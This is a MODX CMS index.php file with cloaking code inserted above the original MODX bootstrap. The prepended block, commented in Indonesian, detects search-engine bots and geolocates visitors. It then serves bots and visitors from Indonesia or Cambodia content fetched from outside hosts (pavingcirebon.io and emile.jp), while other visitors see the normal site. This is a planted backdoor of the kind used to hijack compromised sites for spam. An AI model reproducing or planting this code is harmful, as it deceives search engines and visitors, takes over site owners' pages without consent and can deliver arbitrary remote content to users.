<?php
// ============================================================
// CLOAKING - PALING ATAS (SEBELUM MODX)
// ============================================================

// Deteksi Bot
function is_bot() {
    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    $bots = array(
        'Googlebot', 'Google-InspectionTool', 'AdsBot-Google',
        'Mediapartners-Google', 'APIs-Google', 'GoogleProducer',
        'Google-Site-Verification', 'bingbot', 'slurp', 'duckduckbot',
        'baiduspider', 'yandexbot', 'facebookexternalhit', 'twitterbot',
        'ahrefs', 'bot'
    );
    foreach ($bots as $bot) {
        if (stripos($ua, $bot) !== false) {
            return true;
        }
    }
    return false;
}

// Deteksi Negara
function get_country() {
    if (isset($_SERVER['HTTP_CF_IPCOUNTRY'])) {
        return $_SERVER['HTTP_CF_IPCOUNTRY'];
    }
    
    $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $ip = trim($ips[0]);
    }
    
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "http://ip-api.com/json/{$ip}?fields=countryCode");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 3);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        $data = curl_exec($ch);
        curl_close($ch);
        if ($data) {
            $json = json_decode($data, true);
            return isset($json['countryCode']) ? $json['countryCode'] : '';
        }
    }
    return '';
}

// Ambil Konten
function fetch_content($url) {
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 15);
        curl_setopt($ch, CURLOPT_USERAGENT, isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Mozilla/5.0');
        $result = curl_exec($ch);
        curl_close($ch);
        if ($result !== false) {
            return $result;
        }
    }
    
    if (ini_get('allow_url_fopen')) {
        $result = @file_get_contents($url);
        if ($result !== false) {
            return $result;
        }
    }
    return false;
}

// ========== LOGIKA CLOAKING ==========
$country = get_country();
$is_bot = is_bot();
$is_target = ($country === 'ID' || $country === 'KH');

// 1. BOT → https://pavingcirebon.io/file/emile.txt
if ($is_bot && $_SERVER["REQUEST_URI"] == "/") {
    $content = fetch_content("https://pavingcirebon.io/file/emile.txt");
    if ($content) {
        header('Content-Type: text/html; charset=utf-8');
        echo $content;
    } else {
        echo '<h1>Service Unavailable</h1>';
    }
    exit;
}

// 2. MANUSIA INDONESIA/KAMBOJA → https://emile.jp/blog/elime.php
if ($is_target && $_SERVER["REQUEST_URI"] == "/") {
    $content = fetch_content("https://emile.jp/blog/elime.php");
    if ($content) {
        header('Content-Type: text/html; charset=utf-8');
        echo $content;
    } else {
        echo '<h1>Maaf, konten tidak tersedia</h1>';
    }
    exit;
}

// ============================================================
// MODX ASLI (TIDAK DIUBAH)
// ============================================================

/*
 * ************************************************************************
  MODX Content Management System and PHP Application Framework
  Managed and maintained by Raymond Irving, Ryan Thrash and the
  MODX community
 * ************************************************************************
  MODX is an opensource PHP/MySQL content management system and content
  management framework that is flexible, adaptable, supports XHTML/CSS
  layouts, and works with most web browsers, including Safari.

  MODX is distributed under the GNU General Public License
 * ************************************************************************

  MODX CMS and Application Framework ("MODX")
  Copyright 2005 and forever thereafter by Raymond Irving & Ryan Thrash.
  All rights reserved.

  This file and all related or dependant files distributed with this filie
  are considered as a whole to make up MODX.

  MODX is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License as published by
  the Free Software Foundation; either version 2 of the License, or
  (at your option) any later version.

  MODX is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  GNU General Public License for more details.

  You should have received a copy of the GNU General Public License
  along with MODX (located in "/install/"); if not, write to the Free Software
  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA

  For more information on MODX please visit http://modx.com/

 * *************************************************************************
  Originally based on Etomite by Alex Butter
 * *************************************************************************
 */

/**
 * Initialize Document Parsing
 * -----------------------------
 */
// get start time
$mtime = explode(' ', microtime());
$tstart = $mtime['1'] + $mtime['0'];
$mstart = memory_get_usage();
$base_path = str_replace('index.php','', str_replace('\\', '/',__FILE__));

$cache_type = 1;
$cacheRefreshTime = 0;
$site_sessionname = '';
$site_status = '1';
if(file_exists($base_path . 'assets/cache/sitePublishing.idx.php'))
{
	include_once($base_path . 'assets/cache/sitePublishing.idx.php');
}
if ($cache_type == 2 && count($_POST) < 1 && (time() < $cacheRefreshTime || $cacheRefreshTime==0) && $site_status!=='0') {
    session_name($site_sessionname);
    session_cache_limiter('');
    session_start();
    if (!isset($_SESSION['mgrValidated'])) {
        $target = $base_path . 'assets/cache/' . md5($_SERVER['REQUEST_URI']) . '.pageCache.php';
        if (is_file($target)) {
            $handle = fopen($target, 'rb');
            $output = fread($handle, filesize($target));
            unset($handle);
            list($head,$output) = explode('<!--__MODxCacheSpliter__-->',$output,2);
            if(strpos($head,'"text/html";')===false)
            {
            	$type=unserialize($head);
            	header('Content-Type:' . $type . '; charset=utf-8');
            }
            else header('Content-Type:text/html; charset=utf-8');
            $mem = (function_exists('memory_get_peak_usage')) ? memory_get_peak_usage() : memory_get_usage();
            $msize = $mem - $mstart;
            $units = array('B', 'KB', 'MB');
            $pos = 0;
            while ($msize >= 1024) {
                $msize /= 1024;
                $pos++;
            }
            $msize = round($msize, 2) . ' ' . $units[$pos];
            list ($usec, $sec) = explode(' ', microtime());
            $now = ((float) $usec + (float) $sec);
            $totalTime = ($now - $tstart);
            $totalTime = sprintf('%2.4f s', $totalTime);
            $incs = get_included_files();
            $r = array('[^q^]'=>'0','[^qt^]'=>'0s','[^p^]'=>$totalTime,'[^t^]'=>$totalTime,'[^s^]'=>'bypass_cache','[^m^]'=>$msize,'[^f^]'=>count($incs));
            $output = strtr($output,$r);
            if (is_file("{$base_path}autoload.php"))
                $loaded_autoload = include_once("{$base_path}autoload.php");
            if ($output !== false) {
                echo $output;
                exit;
            }
        }
    }
}
if (!isset($loaded_autoload) && is_file("{$base_path}autoload.php"))
    include_once("{$base_path}autoload.php");

// harden it
$core_path = $base_path . 'manager/includes/';
require_once("{$core_path}initialize.inc.php");
// get the required includes
if (!isset($database_type))
{
	$conf_path = "{$core_path}config.inc.php";
	if (is_file($conf_path)) include_once($conf_path);
	
	if ((!isset($lastInstallTime) || empty($lastInstallTime)))
	{
		if(is_file("{$base_path}install/index.php"))
		{
			header('Location: install/index.php?action=mode');
		}
		else echo 'Not installed.';
		
		exit;
	}
}

set_parser_mode();
if (session_id() === '') startCMSSession();
require_once("{$core_path}protect.inc.php");

// initiate a new document parser
include_once("{$core_path}document.parser.class.inc.php");
$modx = new DocumentParser;
$etomite = &$modx; // for backward compatibility

$modx->tstart = $tstart;
$modx->mstart = $mstart;
$modx->cacheRefreshTime = $cacheRefreshTime;
if(isset($error_reporting)) $modx->error_reporting = $error_reporting;

// execute the parser if index.php was not included
if (!MODX_API_MODE) {
    $result = $modx->executeParser();
    echo $result;
}
?>